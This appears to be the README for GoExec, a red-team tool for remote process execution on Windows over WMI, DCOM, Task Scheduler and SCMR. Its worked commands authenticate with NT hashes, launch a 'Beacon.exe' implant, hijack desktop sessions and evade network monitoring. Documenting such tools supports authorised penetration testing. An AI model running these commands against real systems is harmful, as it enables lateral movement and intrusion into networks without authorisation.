1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
|
# GoExec - Remote Execution Multitool

GoExec is a new take on some of the methods used to gain remote execution on Windows devices. GoExec implements a number of largely unrealized execution methods and provides significant OPSEC improvements overall.
The original post about GoExec v0.1.0 can be found [here](https://www.falconops.com/blog/introducing-goexec)
## Installation
### Build & Install with Go
To build this project from source, you will need Go version 1.23.* or greater and a 64-bit target architecture. More information on managing Go installations can be found [here](https://go.dev/doc/manage-install)
```shell
# Install goexec
go install -ldflags="-s -w" github.com/FalconOpsLLC/goexec@latest
```
#### Manual Installation
For pre-release features, fetch the latest commit and build manually.
```shell
# (Linux) Install GoExec manually from source
# Fetch source
git clone https://github.com/FalconOpsLLC/goexec
cd goexec
# Build goexec (Go >= 1.23)
CGO_ENABLED=0 go build -ldflags="-s -w"
# (Optional) Install goexec to /usr/local/bin/goexec
sudo install ./goexec /usr/local/bin
```
### Install with Docker
We've provided a Dockerfile to build and run GoExec within Docker containers.
```shell
# (Linux) Install GoExec Docker image
# Fetch source
git clone https://github.com/FalconOpsLLC/goexec
cd goexec
# Build goexec image
docker build . --tag goexec --network host
# Run goexec via Docker container
alias goexec='docker run -it --rm --name goexec goexec'
goexec -h # display help menu
```
### Install from Release
You may also download [the latest release](https://github.com/FalconOpsLLC/goexec/releases/latest) for 64-bit Windows, macOS, or Linux.
## Usage
GoExec is made up of modules for each remote service used (i.e. `wmi`, `scmr`, etc.), and specific methods within each module (i.e. `wmi proc`, `scmr change`, etc.)
```text
Usage:
goexec [command] [flags]
Execution Commands:
dcom Execute with Distributed Component Object Model (MS-DCOM)
wmi Execute with Windows Management Instrumentation (MS-WMI)
scmr Execute with Service Control Manager Remote (MS-SCMR)
tsch Execute with Windows Task Scheduler (MS-TSCH)
Additional Commands:
help Help about any command
completion Generate the autocompletion script for the specified shell
Logging:
-D, --debug Enable debug logging
-O, --log-file file Write JSON logging output to file
-j, --json Write logging output in JSON lines
-q, --quiet Disable info logging
Authentication:
-u, --user user@domain Username ('user@domain', 'domain\user', 'domain/user' or 'user')
-p, --password string Password
-H, --nt-hash hash NT hash ('NT', ':NT' or 'LM:NT')
--aes-key hex key Kerberos AES hex key
--pfx file Client certificate and private key as PFX file
--pfx-password string Password for PFX file
--ccache file Kerberos CCache file name (defaults to $KRB5CCNAME, currently unset)
--dc string Domain controller
-k, --kerberos Use Kerberos authentication
Use "goexec [command] --help" for more information about a command.
```
### Fetching Remote Process Output
Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o` flag. Use of this flag will wrap the supplied command in `cmd.exe /c ... > \Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer.
### WMI Module (`wmi`)
The `wmi` module uses remote Windows Management Instrumentation (WMI) to spawn processes (`wmi proc`), or manually call a method (`wmi call`).
```text
Usage:
goexec wmi [command] [flags]
Available Commands:
proc Start a Windows process
call Execute specified WMI method
... [inherited flags] ...
Network:
-x, --proxy URI Proxy URI
-F, --epm-filter string String binding to filter endpoints returned
by the RPC endpoint mapper (EPM)
--endpoint string Explicit RPC endpoint definition
--no-epm Do not use EPM to automatically detect RPC
endpoints
--no-sign Disable signing on DCERPC messages
--no-seal Disable packet stub encryption on DCERPC messages
```
#### Process Creation Method (`wmi proc`)
The `proc` method creates an instance of the `Win32_Process` WMI class, then calls the `Create` method to spawn a process with the provided arguments.
```text
Usage:
goexec wmi proc [target] [flags]
Execution:
-e, --exec string Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable &
arguments)
-o, --out string Fetch execution output to file or "-" for
standard output
-m, --out-method string Method to fetch execution output (default "smb")
--no-delete-out Preserve output file on remote filesystem
-d, --directory string Working directory (default "C:\\")
... [inherited flags] ...
```
##### Examples
```shell
# Run an executable without arguments
./goexec wmi proc "$target" \
-u "$auth_user" \
-p "$auth_pass" \
-e 'C:\Windows\Temp\Beacon.exe' \
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all`
./goexec wmi proc "$target" \
-u "$auth_user" \
-H "$auth_nt" \
-e 'cmd.exe' \
-a '/C whoami /all' \
-o- # Fetch output to STDOUT
```
#### (Auxiliary) Call Method (`wmi call`)
The `call` method gives the operator full control over a WMI method call. You can list available classes and methods on Windows with PowerShell's [`Get-CimClass`](https://learn.microsoft.com/en-us/powershell/module/cimcmdlets/get-cimclass?view=powershell-7.5).
```text
Usage:
goexec wmi call [target] [flags]
WMI:
-n, --namespace string WMI namespace (default "//./root/cimv2")
-C, --class string WMI class to instantiate (i.e. "Win32_Process")
-m, --method string WMI Method to call (i.e. "Create")
-A, --args string WMI Method argument(s) in JSON dictionary format (i.e. {"Command":"calc.exe"}) (default "{}")
... [inherited flags] ...
```
##### Examples
```shell
# Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM
./goexec wmi call "$target" \
-u "$auth_user" \
-p "$auth_pass" \
-C 'StdRegProv' \
-m 'EnumKey' \
-A '{"sSubKeyName":"SYSTEM"}'
```
### DCOM Module (`dcom`)
The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.
> [!WARNING]
> The DCOM module is generally less reliable than other modules because the underlying methods are often reliant on the target Windows version and specific Windows settings.
```text
Usage:
goexec dcom [command] [flags]
Available Commands:
mmc Execute with the MMC20.Application DCOM object
shellwindows Execute with the ShellWindows DCOM object
shellbrowserwindow Execute with the ShellBrowserWindow DCOM object
... [inherited flags] ...
Network:
-x, --proxy URI Proxy URI
-F, --epm-filter string String binding to filter endpoints returned
by the RPC endpoint mapper (EPM)
--endpoint string Explicit RPC endpoint definition
--no-epm Do not use EPM to automatically detect RPC
endpoints
--no-sign Disable signing on DCERPC messages
--no-seal Disable packet stub encryption on DCERPC messages
```
#### `MMC20.Application` Method (`dcom mmc`)
The `mmc` method uses the exposed `MMC20.Application` object to call `Document.ActiveView.ShellExec`, and ultimately spawn a process on the remote host.
```text
Usage:
goexec dcom mmc [target] [flags]
Execution:
-e, --exec string Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable &
arguments)
-o, --out string Fetch execution output to file or "-" for
standard output
-m, --out-method string Method to fetch execution output (default "smb")
--no-delete-out Preserve output file on remote filesystem
--directory directory Working directory (default "C:\\")
--window string Window state (default "Minimized")
... [inherited flags] ...
```
##### Examples
```shell
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file
./goexec dcom mmc "$target" \
-u "$auth_user" \
-H "$auth_nt" \
-e 'cmd.exe' \
-a '/c whoami /priv' \
-o ./privs.bin # Save output to ./privs.bin
```
#### `ShellWindows` Method (`dcom shellwindows`)
The `shellwindows` method uses the [ShellWindows](https://learn.microsoft.com/en-us/windows/win32/shell/shellwindows) DCOM object to call `Item().Document.Application.ShellExecute` and spawn a remote process. This execution method isn't nearly as stable as the `dcom mmc` method for a few reasons:
- This method may not work on the latest Windows versions
- It may require that there is an active desktop session on the target machine.
- Successful execution may be on behalf of the desktop user, not necessarily an administrator.
```text
Usage:
goexec dcom shellwindows [target] [flags]
Execution:
-e, --exec string Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out string Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--no-delete-out Preserve output file on remote filesystem
--directory directory Working directory (default "C:\\")
--app-window ID Application window state ID (default "0")
... [inherited flags] ...
```
The app window argument (`--app-window`) must be one of the values described [here (`vShow` parameter)](https://learn.microsoft.com/en-us/windows/win32/shell/shell-shellexecute).
##### Examples
```shell
# Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output
./goexec dcom shellwindows "$target" \
-u "$auth_user" \
-H "$auth_nt" \
-e 'netstat.exe' \
-a '-anop tcp' \
-o- # write to standard output
# Authenticate with local admin password, open maximized notepad window on desktop
./goexec dcom shellwindows "$target" \
-u "$auth_user" \
-p "$auth_pass" \
-e 'notepad.exe' \
--directory 'C:\Windows' \
--app-window 3 # Maximized
```
#### `ShellBrowserWindow` Method (`dcom shellbrowserwindow`)
The `shellbrowserwindow` method uses the exposed [ShellBrowserWindow](https://strontic.github.io/xcyclopedia/library/clsid_c08afd90-f2a1-11d1-8455-00a0c91f3880.html) DCOM object to call `Document.Application.ShellExecute` and spawn the provided process. The potential constraints of this method are similar to the [ShellWindows method](#shellwindows-method-dcom-shellwindows).
```text
Usage:
goexec dcom shellbrowserwindow [target] [flags]
Execution:
-e, --exec string Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out string Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--no-delete-out Preserve output file on remote filesystem
--directory directory Working directory (default "C:\\")
--app-window ID Application window state ID (default "0")
... [inherited flags] ...
```
##### Examples
```shell
# Authenticate with NT hash, open explorer.exe maximized
./goexec dcom shellbrowserwindow "$target" \
-u "$auth_user@$domain" \
-H "$auth_nt" \
-e 'explorer.exe' \
--app-window 3
```
### Task Scheduler Module (`tsch`)
The `tsch` module makes use of the Windows Task Scheduler service ([MS-TSCH](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/)) to spawn processes on the remote target.
```text
Usage:
goexec tsch [command] [flags]
Available Commands:
demand Register a remote scheduled task and demand immediate start
create Create a remote scheduled task with an automatic start time
change Modify an existing task to spawn an arbitrary process
... [inherited flags] ...
Network:
-x, --proxy URI Proxy URI
-F, --epm-filter string String binding to filter endpoints returned by the RPC endpoint mapper (EPM)
--endpoint string Explicit RPC endpoint definition
--no-epm Do not use EPM to automatically detect RPC endpoints
--no-sign Disable signing on DCERPC messages
--no-seal Disable packet stub encryption on DCERPC messages
```
#### Create Scheduled Task (`tsch create`)
The `create` method registers a scheduled task using [SchRpcRegisterTask](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/849c131a-64e4-46ef-b015-9d4c599c5167) with an automatic start time via [TimeTrigger](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/385126bf-ed3a-4131-8d51-d88b9c00cfe9), and optional automatic deletion with the [DeleteExpiredTaskAfter](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/6bfde6fe-440e-4ddd-b4d6-c8fc0bc06fae) setting.
```text
Usage:
goexec tsch create [target] [flags]
Task Scheduler:
-t, --task string Name or path of the new task
--delay-stop duration Delay between task execution and termination. This won't stop the spawned process (default 5s)
--start-delay duration Delay between task registration and execution (default 5s)
--no-delete Don't delete task after execution
--call-delete Directly call SchRpcDelete to delete task
--sid SID User SID to impersonate (default "S-1-5-18")
Execution:
-e, --exec string Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out string Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--no-delete-out Preserve output file on remote filesystem
... [inherited flags] ...
```
##### Examples
```shell
# Authenticate with NT hash via Kerberos, register task at \Microsoft\Windows\GoExec, execute `C:\Windows\Temp\Beacon.exe`
./goexec tsch create "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
--dc "$dc_ip" \
--kerberos \
--task '\Microsoft\Windows\GoExec' \
--exec 'C:\Windows\Temp\Beacon.exe'
```
#### Create Scheduled Task & Demand Start (`tsch demand`)
Similar to the `create` method, the `demand` method will call `SchRpcRegisterTask`, but rather than setting a defined time when the task will start, it will additionally call `SchRpcRun` to forcefully start the task. This method can additionally hijack desktop sessions when provided the session ID with `--session`.
```text
Usage:
goexec tsch demand [target] [flags]
Task Scheduler:
-t, --task string Name or path of the new task
--session uint32 Hijack existing session given the session ID
--sid string User SID to impersonate (default "S-1-5-18")
--no-delete Don't delete task after execution
Execution:
-e, --exec string Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out string Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--no-delete-out Preserve output file on remote filesystem
... [inherited flags] ...
```
##### Examples
```shell
# Use random task name, execute `notepad.exe` on desktop session 1
./goexec tsch demand "$target" \
--user "$auth_user" \
--password "$auth_pass" \
--exec 'notepad.exe' \
--session 1
# Authenticate with NT hash via Kerberos,
# register task at \Microsoft\Windows\GoExec (will be deleted),
# execute `C:\Windows\System32\cmd.exe /c set` with output
./goexec tsch demand "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
--dc "$dc_ip" \
--kerberos \
--task '\Microsoft\Windows\GoExec' \
--exec 'C:\Windows\System32\cmd.exe' \
--args '/c set' \
--out -
```
#### Modify Scheduled Task Definition (`tsch change`)
The `change` method calls `SchRpcRetrieveTask` to fetch the definition of an existing
task (`-t`/`--task`), then modifies the task definition to spawn a process before restoring the original.
```text
Usage:
goexec tsch change [target] [flags]
Task Scheduler:
-t, --task string Path to existing task
--no-start Don't start the task
--no-revert Don't restore the original task definition
Execution:
-e, --exec string Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out string Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--no-delete-out Preserve output file on remote filesystem
... [inherited flags] ...
```
##### Examples
```shell
# Enable debug logging, Modify "\Microsoft\Windows\UPnP\UPnPHostConfig" to run `cmd.exe /c whoami /all` with output
./goexec tsch change $target --debug \
-u "${auth_user}" \
-p "${auth_pass}" \
-t '\Microsoft\Windows\UPnP\UPnPHostConfig' \
-e 'cmd.exe' \
-a '/C whoami /all' \
-o >(tr -d '\r') # Send output to another program (zsh/bash)
```
### SCMR Module (`scmr`)
The SCMR module works a lot like [`smbexec.py`](https://github.com/fortra/impacket/blob/master/examples/smbexec.py), but it provides additional RPC transports to evade network monitoring or firewall rules, and some minor OPSEC improvements overall.
> [!WARNING]
> The `scmr` module cannot fetch process output at the moment. This will be added in a future release.
```text
Usage:
goexec scmr [command] [flags]
Available Commands:
create Spawn a remote process by creating & running a Windows service
change Change an existing Windows service to spawn an arbitrary process
delete Delete an existing Windows service
... [inherited flags] ...
Network:
-x, --proxy URI Proxy URI
-F, --epm-filter string String binding to filter endpoints returned by the RPC endpoint mapper (EPM)
--endpoint string Explicit RPC endpoint definition
--no-epm Do not use EPM to automatically detect RPC endpoints
--no-sign Disable signing on DCERPC messages
--no-seal Disable packet stub encryption on DCERPC messages
```
#### Create Service (`scmr create`)
The `create` method is used to spawn a process by creating a Windows service. This method requires the full path to a remote executable (i.e. `C:\Windows\System32\calc.exe`)
```text
Usage:
goexec scmr create [target] [flags]
Execution:
-f, --executable-path string Full path to a remote Windows executable
-a, --args string Arguments to pass to the executable
Service:
-n, --display-name string Display name of service to create
-s, --service string Name of service to create
--no-delete Don't delete service after execution
--no-start Don't start service
```
##### Examples
```shell
# Use MSRPC instead of SMB, use custom service name, execute `cmd.exe`
./goexec scmr create "$target" \
-u "${auth_user}@${domain}" \
-p "$auth_pass" \
-f 'C:\Windows\System32\cmd.exe' \
-F 'ncacn_ip_tcp:'
# Directly dial svcctl named pipe ("ncacn_np:[svcctl]"),
# use random service name,
# execute `C:\Windows\System32\calc.exe`
./goexec scmr create "$target" \
-u "${auth_user}@${domain}" \
-p "$auth_pass" \
-f 'C:\Windows\System32\calc.exe' \
--endpoint 'ncacn_np:[svcctl]' --no-epm
```
#### Modify Service (`scmr change`)
The SCMR module's `change` method executes programs by modifying existing Windows services using the RChangeServiceConfigW method rather than calling RCreateServiceW like `scmr create`. The modified service is restored to its original state after execution
> [!WARNING]
> Using this module on important Windows services may brick the OS. Try using a less important service like `PlugPlay`.
```text
Usage:
goexec scmr change [target] [flags]
Service Control:
-s, --service-name string Name of service to modify
--no-start Don't start service
Execution:
-f, --executable-path string Full path to remote Windows executable
-a, --args string Arguments to pass to executable
```
##### Examples
```shell
# Used named pipe transport, Modify the PlugPlay service to execute `C:\Windows\System32\cmd.exe /c C:\Windows\Temp\stage.bat`
./goexec scmr change $target \
-u "$auth_user" \
-p "$auth_pass" \
-F "ncacn_np:" \
-s PlugPlay \
-f 'C:\Windows\System32\cmd.exe' \
-a '/c C:\Windows\Temp\stage.bat'
```
#### (Auxiliary) Delete Service
The SCMR module's auxiliary `delete` method will simply delete the provided service.
```text
Usage:
goexec scmr delete [target] [flags]
Service Control:
-s, --service-name string Name of service to delete
```
## Acknowledgements
- [@oiweiwei](https://github.com/oiweiwei) for the wonderful [go-msrpc](https://github.com/oiweiwei/go-msrpc) module
- [@RedTeamPentesting](https://github.com/RedTeamPentesting) and [Erik Geiser](https://github.com/rtpt-erikgeiser) for the [adauth](https://github.com/RedTeamPentesting/adauth) module
- The developers and contributors of [Impacket](https://github.com/fortra/impacket) for the inspiration and technical reference
|